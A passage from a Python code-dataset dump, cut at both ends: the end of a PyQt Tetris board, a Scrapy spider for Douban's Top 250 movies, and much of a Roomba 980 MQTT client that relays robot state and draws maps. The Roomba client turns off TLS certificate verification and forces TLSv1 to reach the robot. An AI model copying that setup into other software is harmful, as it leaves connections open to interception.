1):\n\t\t\tself.pieceDropped()\n\t\n\tdef pieceDropped(self):\n\t\tfor i in range(4):\n\t\t\tx = self.curX + self.curPiece.getX(i)\n\t\t\ty = self.curY - self.curPiece.getY(i)\n\t\t\tself.setShapeAt(x, y, self.curPiece.getShape())\n\t\t\n\t\tself.removeFullLines()\n\t\t\n\t\tif not self.isWaitingAfterLine:\n\t\t\tself.newPiece()\n\t\n\tdef removeFullLines(self):\n\t\tnumFullLines = 0\n\t\t\n\t\trowsToRemove = []\n\t\t\n\t\tfor i in range(Board.BoardHeight):\n\t\t\tn = 0\n\t\t\tfor j in range(Board.BoardWidth):\n\t\t\t\tif not self.getShapeAt(j, i) == Tetrominoes.NoShape:\n\t\t\t\t\tn = n + 1\n\t\t\tif n == 10:\n\t\t\t\trowsToRemove.append(i)\n\t\t\n\t\trowsToRemove.reverse()\n\t\t\n\t\tfor m in rowsToRemove:\n\t\t\tfor k in range(m, Board.BoardHeight):\n\t\t\t\tfor l in range(Board.BoardWidth):\n\t\t\t\t\tself.setShapeAt(l, k, self.getShapeAt(l, k + 1))\n\t\t\n\t\tnumFullLines = numFullLines + len(rowsToRemove)\n\t\t\n\t\tif numFullLines > 0:\n\t\t\tself.numLinesRemoved = self.numLinesRemoved + numFullLines\n\t\t\tself.emit(QtCore.SIGNAL(\"messageToStatusbar(QString)\"), str(self.numLinesRemoved))\n\t\t\tself.isWaitingAfterLine = True\n\t\t\tself.curPiece.setShape(Tetrominoes.NoShape)\n\t\t\tself.update()\n\t\n\tdef newPiece(self):\n\t\tself.curPiece = self.nextPiece\n\t\tself.nextPiece.setRandomShape()\n\t\tself.curX = Board.BoardWidth / 2 + 1\n\t\tself.curY = Board.BoardHeight - 1 + self.curPiece.minY()\n\t\t\n\t\tif not self.tryMove(self.curPiece, self.curX, self.curY):\n\t\t\tself.curPiece.setShape(Tetrominoes.NoShape)\n\t\t\tself.timer.stop()\n\t\t\tself.isStarted = False\n\t\t\tself.emit(QtCore.SIGNAL(\"messageToStatusbar(QString)\"), \"Game over\")\n\t\n\tdef tryMove(self, newPiece, newX, newY):\n\t\tfor i in range(4):\n\t\t\tx = newX + newPiece.getX(i)\n\t\t\ty = newY - newPiece.getY(i)\n\t\t\tif x < 0 or x >= Board.BoardWidth or y < 0 or y >= Board.BoardHeight:\n\t\t\t\treturn False\n\t\t\tif self.getShapeAt(x, y) != Tetrominoes.NoShape:\n\t\t\t\treturn False\n\t\t\n\t\tself.curPiece = newPiece\n\t\tself.curX = newX\n\t\tself.curY = newY\n\t\tself.update()\n\t\treturn True\n\t\n\tdef drawSquare(self, painter, x, y, shape):\n\t\tcolor = QtGui.QColor(Tetrominoes.getColor(shape))\n\t\tpainter.fillRect(x + 1, y + 1, self.getSelWidth() - 2, self.getSelHeight() - 2, color)\n\t\t\n\t\tpainter.setPen(color.light())\n\t\tpainter.drawLine(x, y + self.getSelHeight() - 1, x, y)\n\t\tpainter.drawLine(x, y, x + self.getSelWidth() - 1, y)\n\t\t\n\t\tpainter.setPen(color.dark())\n\t\tpainter.drawLine(x + 1, y + self.getSelHeight() - 1, x + self.getSelWidth() - 1, y + self.getSelHeight() - 1)\n\t\tpainter.drawLine(x + self.getSelWidth() - 1, y + self.getSelHeight() - 1, x + self.getSelWidth() - 1, y + 1)\n","sub_path":"src/board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":6288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"424271312","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport re\nfrom ..items import DoubanItem\n\n\nclass DoubanmovieSpider(scrapy.Spider):\n name = 'doubanmovie'\n start_urls = ['https://movie.douban.com/top250']\n\n def parse(self, response):\n for item in response.xpath('/html/body/div[3]/div[1]/div/div[1]/ol/li'):\n rank = item.xpath('./div/div[1]/em/text()').extract_first()\n title = item.xpath('./div/div[2]/div[1]/a/span[1]/text()').extract_first()\n director = item.xpath('./div/div[2]/div[2]/p[1]/text()').extract_first()\n director = re.findall('导演: (.*?)   主', director)\n if director:\n director = director[0]\n year = item.xpath('./div/div[2]/div[2]/p[1]/text()[2]').extract_first()\n year = re.findall(r'\\d+', year)[0]\n country = item.xpath('./div/div[2]/div[2]/p[1]/text()[2]').extract_first()\n country = re.findall(r'/ (.*?) /', country)[0]\n star = item.xpath('./div/div[2]/div[2]/div/span[2]/text()').extract_first()\n quote = item.xpath('./div/div[2]/div[2]/p[2]/span/text()').extract_first()\n film_info_url = item.xpath('./div/div[1]/a/@href').extract_first()\n image_url = item.xpath('./div/div[1]/a/img/@src').extract_first()\n\n movie = DoubanItem()\n movie['rank'] = rank\n movie['title'] = title\n movie['director'] = director\n movie['year'] = year\n movie['country'] = country\n movie['star'] = star\n movie['quote'] = quote\n movie['film_info_url'] = film_info_url\n movie['image_url'] = image_url\n yield movie\n\n # 获取下一页的url\n next_url = response.xpath('/html/body/div[3]/div[1]/div/div[1]/div[2]/span[3]/a/@href').extract_first()\n if next_url is not None:\n url = self.start_urls[0] + next_url\n yield scrapy.Request(url=url, callback=self.parse)\n","sub_path":"豆瓣/douban/spiders/doubanmovie.py","file_name":"doubanmovie.py","file_ext":"py","file_size_in_byte":1991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"622240464","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n'''\nPython 2.7/Python 3.5/3.6 (thanks to pschmitt for adding Python 3 compatibility)\nProgram to connect to Roomba 980 vacuum cleaner, dcode json, and forward to mqtt\nserver\n\nNick Waterton 24th April 2017: V 1.0: Initial Release\nNick Waterton 4th July 2017 V 1.1.1: Fixed MQTT protocol version, and map\npaths, fixed paho-mqtt tls changes\nNick Waterton 5th July 2017 V 1.1.2: Minor fixes, CV version 3 .2 support\nNick Waterton 7th July 2017 V1.2.0: Added -o option \"roomOutline\" allows\nenabling/disabling of room outline drawing, added auto creation of css/html files\nNick Waterton 11th July 2017 V1.2.1: Quick (untested) fix for room outlines\nif you don't have OpenCV\n'''\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\n__version__ = \"1.2.1\"\n\nfrom ast import literal_eval\nfrom collections import OrderedDict, Mapping\nfrom roomba.password import Password\nimport datetime\nimport json\nimport math\nimport logging\nimport os\nimport six\nimport socket\nimport ssl\nimport sys\nimport threading\nimport time\ntry:\n import configparser\nexcept:\n from six.moves import configparser\n\n# Import trickery\nglobal HAVE_CV2\nglobal HAVE_MQTT\nglobal HAVE_PIL\nHAVE_CV2 = False\nHAVE_MQTT = False\nHAVE_PIL = False\ntry:\n import paho.mqtt.client as mqtt\n HAVE_MQTT = True\nexcept ImportError:\n print(\"paho mqtt client not found\")\ntry:\n import cv2\n import numpy as np\n HAVE_CV2 = True\nexcept ImportError:\n print(\"CV or numpy module not found, falling back to PIL\")\n\n# NOTE: MUST use Pillow Pillow 4.1.1 to avoid some horrible memory leaks in the\n# text handling!\ntry:\n from PIL import Image, ImageDraw, ImageFont, ImageFilter, ImageOps\n HAVE_PIL = True\nexcept ImportError:\n print(\"PIL module not found, maps are disabled\")\n\n# On Python 3 raw_input was renamed to input\ntry:\n input = raw_input\nexcept NameError:\n pass\n\n\nclass Roomba(object):\n '''\n This is a Class for Roomba 900 series WiFi connected Vacuum cleaners\n Requires firmware version 2.0 and above (not V1.0). Tested with Roomba 980\n username (blid) and password are required, and can be found using the\n password() class above (or can be auto discovered)\n Most of the underlying info was obtained from here:\n https://github.com/koalazak/dorita980 many thanks!\n The values received from the Roomba as stored in a dictionay called\n master_state, and can be accessed at any time, the contents are live, and\n will build with time after connection.\n This is not needed if the forward to mqtt option is used, as the events will\n be decoded and published on the designated mqtt client topic.\n '''\n\n VERSION = \"1.0\"\n\n states = {\"charge\": \"Charging\",\n \"new\": \"New Mission\",\n \"run\": \"Running\",\n \"resume\": \"Running\",\n \"hmMidMsn\": \"Recharging\",\n \"recharge\": \"Recharging\",\n \"stuck\": \"Stuck\",\n \"hmUsrDock\": \"User Docking\",\n \"dock\": \"Docking\",\n \"dockend\": \"Docking - End Mission\",\n \"cancelled\": \"Cancelled\",\n \"stop\": \"Stopped\",\n \"pause\": \"Paused\",\n \"hmPostMsn\": \"End Mission\",\n \"\": None}\n\n # From http://homesupport.irobot.com/app/answers/detail/a_id/9024/~/roomba-900-error-messages\n _ErrorMessages = {\n 0: \"None\",\n 1: \"Roomba is stuck with its left or right wheel hanging down.\",\n 2: \"The debris extractors can't turn.\",\n 5: \"The left or right wheel is stuck.\",\n 6: \"The cliff sensors are dirty, it is hanging over a drop, \"\\\n \"or it is stuck on a dark surface.\",\n 8: \"The fan is stuck or its filter is clogged.\",\n 9: \"The bumper is stuck, or the bumper sensor is dirty.\",\n 10: \"The left or right wheel is not moving.\",\n 11: \"Roomba has an internal error.\",\n 14: \"The bin has a bad connection to the robot.\",\n 15: \"Roomba has an internal error.\",\n 16: \"Roomba has started while moving or at an angle, or was bumped \"\\\n \"while running.\",\n 17: \"The cleaning job is incomplete.\",\n 18: \"Roomba cannot return to the Home Base or starting position.\", \n 19: \"A cliff sensor is activated near the docking area.\"\n }\n\n def __init__(self, address=None, blid=None, password=None, topic=\"#\",\n continuous=True, clean=False, cert_name=\"\", roombaName=\"\",\n file=\"./config.ini\"):\n '''\n address is the IP address of the Roomba, the continuous flag enables a\n continuous mqtt connection, if this is set to False, the client connects\n and disconnects every 'delay' seconds (1 by default, but can be\n changed). This is to allow other programs access, as there can only be\n one Roomba connection at a time.\n As cloud connections are unaffected, I reccomend leaving this as True.\n leave topic as is, unless debugging (# = all messages).\n if a python standard logging object exists, it will be used for logging.\n '''\n\n self.debug = False\n self.log = logging.getLogger(\"roomba.__main__\") #modified to work with new scheme NW 15/9/2017\n #self.log = logging.getLogger(__name__+'.Roomba')\n if self.log.getEffectiveLevel() == logging.DEBUG:\n self.debug = True\n self.address = address\n if not cert_name:\n self.cert_name = \"/etc/ssl/certs/ca-certificates.crt\"\n else:\n self.cert_name = cert_name\n self.continuous = continuous\n if self.continuous:\n self.log.info(\"CONTINUOUS connection\")\n else:\n self.log.info(\"PERIODIC connection\")\n # set the following to True to enable pretty printing of json data\n self.pretty_print = False\n self.stop_connection = False\n self.periodic_connection_running = False\n self.clean = clean\n self.roomba_port = 8883\n self.blid = blid\n self.password = password\n self.roombaName = roombaName\n self.topic = topic\n self.mqttc = None\n self.exclude = \"\"\n self.delay = 1\n self.roomba_connected = False\n self.indent = 0\n self.master_indent = 0\n self.raw = False\n self.drawmap = False\n self.previous_co_ords = self.co_ords = self.zero_coords()\n self.fnt = None\n self.home_pos = None\n self.angle = 0\n self.cleanMissionStatus_phase = \"\"\n self.previous_cleanMissionStatus_phase = \"\"\n self.current_state = None\n self.last_completed_time = None\n self.bin_full = False\n self.base = None #base map\n self.dock_icon = None #dock icon\n self.roomba_icon = None #roomba icon\n self.roomba_cancelled_icon = None #roomba cancelled icon\n self.roomba_battery_icon = None #roomba battery low icon\n self.roomba_error_icon = None #roomba error icon\n self.bin_full_icon = None #bin full icon\n self.room_outline_contour = None\n self.room_outline = None\n self.transparent = (0, 0, 0, 0) #transparent\n self.previous_display_text = self.display_text = None\n self.master_state = {}\n self.time = time.time()\n self.update_seconds = 300 #update with all values every 5 minutes\n self.show_final_map = True\n self.client = None\n\n if self.address is None or blid is None or password is None:\n self.read_config_file(file)\n\n def read_config_file(self, file=\"./config.ini\"):\n #read config file\n Config = configparser.ConfigParser()\n try:\n Config.read(file)\n except Exception as e:\n self.log.warn(\"Error reading config file %s\" %e)\n self.log.info(\"No Roomba specified, and no config file found - \"\n \"attempting discovery\")\n if Password(self.address, file):\n return self.read_config_file(file)\n else:\n return False\n self.log.info(\"reading info from config file %s\" % file)\n addresses = Config.sections()\n if self.address is None:\n if len(addresses) > 1:\n self.log.warn(\"config file has entries for %d Roombas, \"\n \"only configuring the first!\")\n self.address = addresses[0]\n self.blid = Config.get(self.address, \"blid\"),\n self.password = Config.get(self.address, \"password\")\n # self.roombaName = literal_eval(\n # Config.get(self.address, \"data\"))[\"robotname\"]\n return True\n\n def setup_client(self):\n if self.client is None:\n if not HAVE_MQTT:\n print(\"Please install paho-mqtt 'pip install paho-mqtt' \"\n \"to use this library\")\n return False\n self.client = mqtt.Client(\n client_id=self.blid, clean_session=self.clean,\n protocol=mqtt.MQTTv311)\n # Assign event callbacks\n self.client.on_message = self.on_message\n self.client.on_connect = self.on_connect\n self.client.on_publish = self.on_publish\n self.client.on_subscribe = self.on_subscribe\n self.client.on_disconnect = self.on_disconnect\n\n # Uncomment to enable debug messages\n # client.on_log = self.on_log\n\n # set TLS, self.cert_name is required by paho-mqtt, even if the\n # certificate is not used...\n # but v1.3 changes all this, so have to do the following:\n\n self.log.info(\"Seting TLS\")\n try:\n self.client.tls_set(\n self.cert_name, cert_reqs=ssl.CERT_NONE,\n tls_version=ssl.PROTOCOL_TLSv1)\n except ValueError: # try V1.3 version\n self.log.warn(\"TLS Setting failed - trying 1.3 version\")\n self.client._ssl_context = None\n context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)\n context.verify_mode = ssl.CERT_NONE\n context.load_default_certs()\n self.client.tls_set_context(context)\n\n # disables peer verification\n self.client.tls_insecure_set(True)\n self.client.username_pw_set(self.blid, self.password)\n return True\n return False\n\n def connect(self):\n if self.address is None or self.blid is None or self.password is None:\n self.log.critical(\"Invalid address, blid, or password! All these \"\n \"must be specified!\")\n sys.exit(1)\n if self.roomba_connected or self.periodic_connection_running: return\n\n if self.continuous:\n if not self._connect():\n if self.mqttc is not None:\n self.mqttc.disconnect()\n sys.exit(1)\n else:\n self._thread = threading.Thread(target=self.periodic_connection)\n self._thread.daemon = True\n self._thread.start()\n\n self.time = time.time() #save connect time\n\n def _connect(self, count=0, new_connection=False):\n max_retries = 3\n try:\n if self.client is None or new_connection:\n self.log.info(\"Connecting %s\" % self.roombaName)\n self.setup_client()\n self.client.connect(self.address, self.roomba_port, 60)\n else:\n self.log.info(\"Attempting to Reconnect %s\" % self.roombaName)\n self.client.loop_stop()\n self.client.reconnect()\n self.client.loop_start()\n return True\n except Exception as e:\n self.log.error(\"Error: %s \" % e)\n exc_type, exc_obj, exc_tb = sys.exc_info()\n # self.log.error(\"Exception: %s\" % exc_type)\n # if e[0] == 111: #errno.ECONNREFUSED - does not work with\n # python 3.0 so...\n if exc_type == socket.error or exc_type == ConnectionRefusedError:\n count += 1\n if count <= max_retries:\n self.log.error(\"Attempting new Connection# %d\" % count)\n time.sleep(1)\n self._connect(count, True)\n if count == max_retries:\n self.log.error(\"Unable to connect %s\" % self.roombaName)\n return False\n\n def disconnect(self):\n if self.continuous:\n self.client.disconnect()\n else:\n self.stop_connection = True\n\n def periodic_connection(self):\n # only one connection thread at a time!\n if self.periodic_connection_running: return\n self.periodic_connection_running = True\n while not self.stop_connection:\n if self._connect():\n time.sleep(self.delay)\n self.client.disconnect()\n time.sleep(self.delay)\n\n self.client.disconnect()\n self.periodic_connection_running = False\n\n def on_connect(self, client, userdata, flags, rc):\n self.log.info(\"Roomba Connected %s\" % self.roombaName)\n if rc == 0:\n self.roomba_connected = True\n self.client.subscribe(self.topic)\n else:\n self.log.error(\"Roomba Connected with result code \" + str(rc))\n self.log.error(\"Please make sure your blid and password are \"\n \"correct %s\" % self.roombaName)\n if self.mqttc is not None:\n self.mqttc.disconnect()\n sys.exit(1)\n\n def on_message(self, mosq, obj, msg):\n # print(msg.topic + \" \" + str(msg.qos) + \" \" + str(msg.payload))\n if self.exclude != \"\":\n if self.exclude in msg.topic:\n return\n\n if self.indent == 0:\n self.master_indent = max(self.master_indent, len(msg.topic))\n\n log_string, json_data = self.decode_payload(msg.topic,msg.payload)\n self.dict_merge(self.master_state, json_data)\n\n if self.pretty_print:\n self.log.info(\"%-{:d}s : %s\".format(self.master_indent)\n % (msg.topic,log_string))\n else:\n self.log.info(\"Received Roomba Data %s: %s, %s\"\n % (self.roombaName, str(msg.topic), str(msg.payload)))\n\n if self.raw:\n self.publish(msg.topic, msg.payload)\n else:\n self.decode_topics(json_data)\n\n # default every 5 minutes\n if time.time() - self.time > self.update_seconds:\n self.log.info(\"Publishing master_state %s\" % self.roombaName)\n self.decode_topics(self.master_state) # publish all values\n self.time = time.time()\n\n def on_publish(self, mosq, obj, mid):\n pass\n\n def on_subscribe(self, mosq, obj, mid, granted_qos):\n self.log.debug(\"Subscribed: %s %s\" % (str(mid), str(granted_qos)))\n\n def on_disconnect(self, mosq, obj, rc):\n self.roomba_connected = False\n if rc != 0:\n self.log.warn(\"Unexpected Disconnect From Roomba %s! - reconnecting\"\n % self.roombaName)\n else:\n self.log.info(\"Disconnected From Roomba %s\" % self.roombaName)\n\n def on_log(self, mosq, obj, level, string):\n self.log.info(string)\n\n def set_mqtt_client(self, mqttc=None, brokerFeedback=\"\"):\n self.mqttc = mqttc\n if self.mqttc is not None:\n if self.roombaName != \"\":\n self.brokerFeedback = brokerFeedback + \"/\" + self.roombaName\n else:\n self.brokerFeedback = brokerFeedback\n\n def send_command(self, command):\n self.log.info(\"Received COMMAND: %s\" % command)\n Command = OrderedDict()\n Command[\"command\"] = command\n Command[\"time\"] = self.totimestamp(datetime.datetime.now())\n Command[\"initiator\"] = \"localApp\"\n myCommand = json.dumps(Command)\n self.log.info(\"Publishing Roomba Command : %s\" % myCommand)\n self.client.publish(\"cmd\", myCommand)\n\n def set_preference(self, preference, setting):\n self.log.info(\"Received SETTING: %s, %s\" % (preference, setting))\n val = False\n if setting.lower() == \"true\":\n val = True\n tmp = {preference: val}\n Command = {\"state\": tmp}\n myCommand = json.dumps(Command)\n self.log.info(\"Publishing Roomba Setting : %s\" % myCommand)\n self.client.publish(\"delta\", myCommand)\n\n def publish(self, topic, message):\n if self.mqttc is not None and message is not None:\n self.log.debug(\"Publishing item: %s: %s\"\n % (self.brokerFeedback + \"/\" + topic, message))\n self.mqttc.publish(self.brokerFeedback + \"/\" + topic, message)\n\n def set_options(self, raw=False, indent=0, pretty_print=False):\n self.raw = raw\n self.indent = indent\n self.pretty_print = pretty_print\n if self.raw:\n self.log.info(\"Posting RAW data\")\n else:\n self.log.info(\"Posting DECODED data\")\n\n def enable_map(self, enable=False, mapSize=\"(800,1500,0,0,0,0)\",\n mapPath=\".\", iconPath = \"./\", roomOutline=True,\n home_icon_file=\"home.png\",\n roomba_icon_file=\"roomba.png\",\n roomba_error_file=\"roombaerror.png\",\n roomba_cancelled_file=\"roombacancelled.png\",\n roomba_battery_file=\"roomba-charge.png\",\n bin_full_file=\"binfull.png\",\n roomba_size=(50,50), draw_edges = 30, auto_rotate=True):\n '''\n Enable live map drawing. mapSize is x,y size, x,y offset of docking\n station ((0,0) is the center of the image) final value is map rotation\n (in case map is not straight up/down). These values depend on the\n size/shape of the area Roomba covers. Offset depends on where you place\n the docking station. This will need some experimentation to get right.\n You can supply 32x32 icons for dock and roomba etc. If the files don't\n exist, crude representations are made. If you specify home_icon_file as\n None, then no dock is drawn. Draw edges attempts to draw straight lines\n around the final (not live) map, and Auto_rotate (on/off) attempts to\n line the map up vertically. These only work if you have openCV\n installed. otherwise a PIL version is used, which is not as good (but\n less CPU intensive). roomOutline enables the previous largest saved\n outline to be overlayed on the map (so you can see where cleaning was\n missed). This is on by default, but the alignment doesn't work so well,\n so you can turn it off.\n Returns map enabled True/False\n '''\n\n if not HAVE_PIL: #can't draw a map without PIL!\n return False\n\n if Image.__version__ < \"4.1.1\":\n print(\"WARNING: PIL version is %s, this is not the latest! you \"\n \"can get bad memory leaks with old versions of PIL\"\n % Image.__version__)\n print(\"run: 'pip install --upgrade pillow' to fix this\")\n\n self.drawmap = enable\n if self.drawmap:\n self.log.info(\"MAP: Maps Enabled\")\n self.mapSize = literal_eval(mapSize)\n if len(mapSize) < 6:\n self.log.error(\"mapSize is required, and is of the form \"\n \"(800,1500,0,0,0,0) - (x,y size, x,y dock loc,\"\n \"theta1, theta2), map,roomba roatation\")\n self.drawmap = False\n return False\n self.angle = self.mapSize[4]\n self.roomba_angle = self.mapSize[5]\n self.mapPath = mapPath\n if home_icon_file is None:\n self.home_icon_file = None\n else:\n self.home_icon_file = os.path.join(iconPath, home_icon_file)\n self.roomba_icon_file = os.path.join(iconPath, roomba_icon_file)\n self.roomba_error_file = os.path.join(iconPath, roomba_error_file)\n self.roomba_cancelled_file = os.path.join(iconPath, roomba_cancelled_file)\n self.roomba_battery_file = os.path.join(iconPath, roomba_battery_file)\n self.bin_full_file = os.path.join(iconPath, bin_full_file)\n self.draw_edges = draw_edges // 10000\n self.auto_rotate = auto_rotate\n if not roomOutline:\n self.log.info(\"MAP: Not drawing Room Outline\")\n self.roomOutline = roomOutline\n\n self.initialise_map(roomba_size)\n return True\n return False\n\n def totimestamp(self, dt):\n td = dt - datetime.datetime(1970, 1, 1)\n return int(td.total_seconds())\n\n def dict_merge(self, dct, merge_dct):\n \"\"\" Recursive dict merge. Inspired by :meth:``dict.update()``, instead\n of updating only top-level keys, dict_merge recurses down into dicts\n nested to an arbitrary depth, updating keys. The ``merge_dct`` is\n merged into ``dct``.\n :param dct: dict onto which the merge is executed\n :param merge_dct: dct merged into dct\n :return: None\n \"\"\"\n for k, v in six.iteritems(merge_dct):\n if (k in dct and isinstance(dct[k], dict)\n and isinstance(merge_dct[k], Mapping)):\n self.dict_merge(dct[k], merge_dct[k])\n else:\n dct[k] = merge_dct[k]\n\n def decode_payload(self, topic, payload):\n '''\n Format json for pretty printing, return string sutiable for logging,\n and a dict of the json data\n '''\n indent = self.master_indent + 31 #number of spaces to indent json data\n\n try:\n # if it's json data, decode it (use OrderedDict to preserve keys\n # order), else return as is...\n json_data = json.loads(\n payload.decode(\"utf-8\").replace(\":nan\", \":NaN\").\\\n replace(\":inf\", \":Infinity\").replace(\":-inf\", \":-Infinity\"),\n object_pairs_hook=OrderedDict)\n # if it's not a dictionary, probably just a number\n if not isinstance(json_data, dict):\n return json_data, dict(json_data)\n json_data_string = \"\\n\".join((indent * \" \") + i for i in \\\n (json.dumps(json_data, indent = 2)).splitlines())\n\n formatted_data = \"Decoded JSON: \\n%s\" % (json_data_string)\n\n except ValueError:\n formatted_data = payload\n\n if self.raw:\n formatted_data = payload\n\n return formatted_data, dict(json_data)\n\n def decode_topics(self, state, prefix=None):\n '''\n decode json data dict, and publish as individual topics to\n brokerFeedback/topic the keys are concatinated with _ to make one unique\n topic name strings are expressely converted to strings to avoid unicode\n representations\n '''\n for k, v in six.iteritems(state):\n if isinstance(v, dict):\n if prefix is None:\n self.decode_topics(v, k)\n else:\n self.decode_topics(v, prefix+\"_\"+k)\n else:\n if isinstance(v, list):\n newlist = []\n for i in v:\n if isinstance(i, dict):\n for ki, vi in six.iteritems(i):\n newlist.append((str(ki), vi))\n else:\n if isinstance(i, six.string_types):\n i = str(i)\n newlist.append(i)\n v = newlist\n if prefix is not None:\n k = prefix+\"_\"+k\n # all data starts with this, so it's redundant\n k = k.replace(\"state_reported_\",\"\")\n # save variables for drawing map\n if k == \"pose_theta\":\n self.co_ords[\"theta\"] = v\n if k == \"pose_point_x\": #x and y are reversed...\n self.co_ords[\"y\"] = v\n if k == \"pose_point_y\":\n self.co_ords[\"x\"] = v\n if k == \"bin_full\":\n self.bin_full = v\n if k == \"cleanMissionStatus_error\":\n try:\n self.error_message = self._ErrorMessages[v]\n except KeyError as e:\n self.log.warn(\n \"Error looking up Roomba error message %s\" % e)\n self.error_message = \"Unknown Error number: %d\" % v\n self.publish(\"error_message\", self.error_message)\n if k == \"cleanMissionStatus_phase\":\n self.previous_cleanMissionStatus_phase = \\\n self.cleanMissionStatus_phase\n self.cleanMissionStatus_phase = v\n\n self.publish(k, str(v))\n\n if prefix is None:\n self.update_state_machine()\n\n def update_state_machine(self, new_state = None):\n '''\n Roomba progresses through states (phases), current identified states\n are:\n \"\" : program started up, no state yet\n \"run\" : running on a Cleaning Mission\n \"hmUsrDock\" : returning to Dock\n \"hmMidMsn\" : need to recharge\n \"hmPostMsn\" : mission completed\n \"charge\" : chargeing\n \"stuck\" : Roomba is stuck\n \"stop\" : Stopped\n \"pause\" : paused\n\n available states:\n states = { \"charge\":\"Charging\",\n \"new\":\"New Mission\",\n \"run\":\"Running\",\n \"resume\":\"Running\",\n \"hmMidMsn\":\"Recharging\",\n \"recharge\":\"Recharging\",\n \"stuck\":\"Stuck\",\n \"hmUsrDock\":\"User Docking\",\n \"dock\":\"Docking\",\n \"dockend\":\"Docking - End Mission\",\n \"cancelled\":\"Cancelled\",\n \"stop\":\"Stopped\",\n \"pause\":\"Paused\",\n \"hmPostMsn\":\"End Mission\",\n \"\":None}\n\n Normal Sequence is \"\" -> charge -> run -> hmPostMsn -> charge\n Mid mission recharge is \"\" -> charge -> run -> hmMidMsn -> charge\n -> run -> hmPostMsn -> charge\n Stuck is \"\" -> charge -> run -> hmPostMsn -> stuck\n -> run/charge/stop/hmUsrDock -> charge\n Start program during run is \"\" -> run -> hmPostMsn -> charge\n\n Need to identify a new mission to initialize map, and end of mission to\n finalise map.\n Assume charge -> run = start of mission (init map)\n stuck - > charge = init map\n Assume hmPostMsn -> charge = end of mission (finalize map)\n Anything else = continue with existing map\n '''\n\n current_mission = self.current_state\n\n #if self.current_state == None: #set initial state here for debugging\n # self.current_state = self.states[\"recharge\"]\n # self.show_final_map = False\n\n # deal with \"bin full\" timeout on mission\n try:\n if (self.master_state[\"state\"][\"reported\"][\"cleanMissionStatus\"][\"mssnM\"] == \"none\" and\n self.cleanMissionStatus_phase == \"charge\" and\n (self.current_state == self.states[\"pause\"] or\n self.current_state == self.states[\"recharge\"])):\n self.current_state = self.states[\"cancelled\"]\n except KeyError:\n pass\n\n if (self.current_state == self.states[\"charge\"] and\n self.cleanMissionStatus_phase == \"run\"):\n self.current_state = self.states[\"new\"]\n elif (self.current_state == self.states[\"run\"] and\n self.cleanMissionStatus_phase == \"hmMidMsn\"):\n self.current_state = self.states[\"dock\"]\n elif (self.current_state == self.states[\"dock\"] and\n self.cleanMissionStatus_phase == \"charge\"):\n self.current_state = self.states[\"recharge\"]\n elif (self.current_state == self.states[\"recharge\"] and\n self.cleanMissionStatus_phase == \"charge\" and self.bin_full):\n self.current_state = self.states[\"pause\"]\n elif (self.current_state == self.states[\"run\"] and\n self.cleanMissionStatus_phase == \"charge\"):\n self.current_state = self.states[\"recharge\"]\n elif (self.current_state == self.states[\"recharge\"]\n and self.cleanMissionStatus_phase == \"run\"):\n self.current_state = self.states[\"pause\"]\n elif (self.current_state == self.states[\"pause\"]\n and self.cleanMissionStatus_phase == \"charge\"):\n self.current_state = self.states[\"pause\"]\n # so that we will draw map and can update recharge time\n current_mission = None\n elif (self.current_state == self.states[\"charge\"] and\n self.cleanMissionStatus_phase == \"charge\"):\n # so that we will draw map and can update charge status\n current_mission = None\n elif ((self.current_state == self.states[\"stop\"] or\n self.current_state == self.states[\"pause\"]) and\n self.cleanMissionStatus_phase == \"hmUsrDock\"):\n self.current_state = self.states[\"cancelled\"]\n elif ((self.current_state == self.states[\"hmUsrDock\"] or\n self.current_state == self.states[\"cancelled\"]) and\n self.cleanMissionStatus_phase == \"charge\"):\n self.current_state = self.states[\"dockend\"]\n elif (self.current_state == self.states[\"hmPostMsn\"] and\n self.cleanMissionStatus_phase == \"charge\"):\n self.current_state = self.states[\"dockend\"]\n elif (self.current_state == self.states[\"dockend\"] and\n self.cleanMissionStatus_phase == \"charge\"):\n self.current_state = self.states[\"charge\"]\n\n else:\n self.current_state = self.states[self.cleanMissionStatus_phase]\n\n if new_state is not None:\n self.current_state = self.states[new_state]\n self.log.info(\"set current state to: %s\" % (self.current_state))\n\n if self.current_state != current_mission:\n self.log.info(\"updated state to: %s\" % (self.current_state))\n\n self.publish(\"state\", self.current_state)\n self.draw_map(current_mission != self.current_state)\n\n def make_transparent(self, image, colour=None):\n '''\n take image and make white areas transparent\n return transparent image\n '''\n image = image.convert(\"RGBA\")\n datas = image.getdata()\n newData = []\n for item in datas:\n # white (ish)\n if item[0] >= 254 and item[1] >= 254 and item[2] >= 254:\n newData.append(self.transparent)\n else:\n if colour:\n newData.append(colour)\n else:\n newData.append(item)\n\n image.putdata(newData)\n return image\n\n def make_icon(self, input=\"./roomba.png\", output=\"./roomba_mod.png\"):\n #utility function to make roomba icon from generic roomba icon\n if not HAVE_PIL: #drawing library loaded?\n self.log.error(\"PIL module not loaded\")\n return None\n try:\n roomba = Image.open(input).convert('RGBA')\n roomba = roomba.rotate(90, expand=False)\n roomba = self.make_transparent(roomba)\n draw_wedge = ImageDraw.Draw(roomba)\n draw_wedge.pieslice(\n [(5,0),(roomba.size[0]-5,roomba.size[1])],\n 175, 185, fill=\"red\", outline=\"red\")\n roomba.save(output, \"PNG\")\n return roomba\n except Exception as e:\n self.log.error(\"ERROR: %s\" % e)\n return None\n\n def load_icon(self, filename=\"\", icon_name=None, fnt=None, size=(32,32),\n base_icon=None):\n '''\n Load icon from file, or draw icon if file not found.\n returns icon object\n '''\n if icon_name is None:\n return None\n\n try:\n icon = Image.open(filename).convert('RGBA').resize(\n size,Image.ANTIALIAS)\n icon = self.make_transparent(icon)\n except IOError as e:\n self.log.warn(\"error loading %s: %s, using default icon instead\"\n % (icon_name,e))\n if base_icon is None:\n icon = Image.new('RGBA', size, self.transparent)\n else:\n icon = base_icon\n\n draw_icon = ImageDraw.Draw(icon)\n\n if icon_name == \"roomba\":\n if base_icon is None:\n draw_icon.ellipse([(5,5),(icon.size[0]-5,icon.size[1]-5)],\n fill=\"green\", outline=\"black\")\n draw_icon.pieslice([(5,5),(icon.size[0]-5,icon.size[1]-5)],\n 355, 5, fill=\"red\", outline=\"red\")\n elif icon_name == \"stuck\":\n if base_icon is None:\n 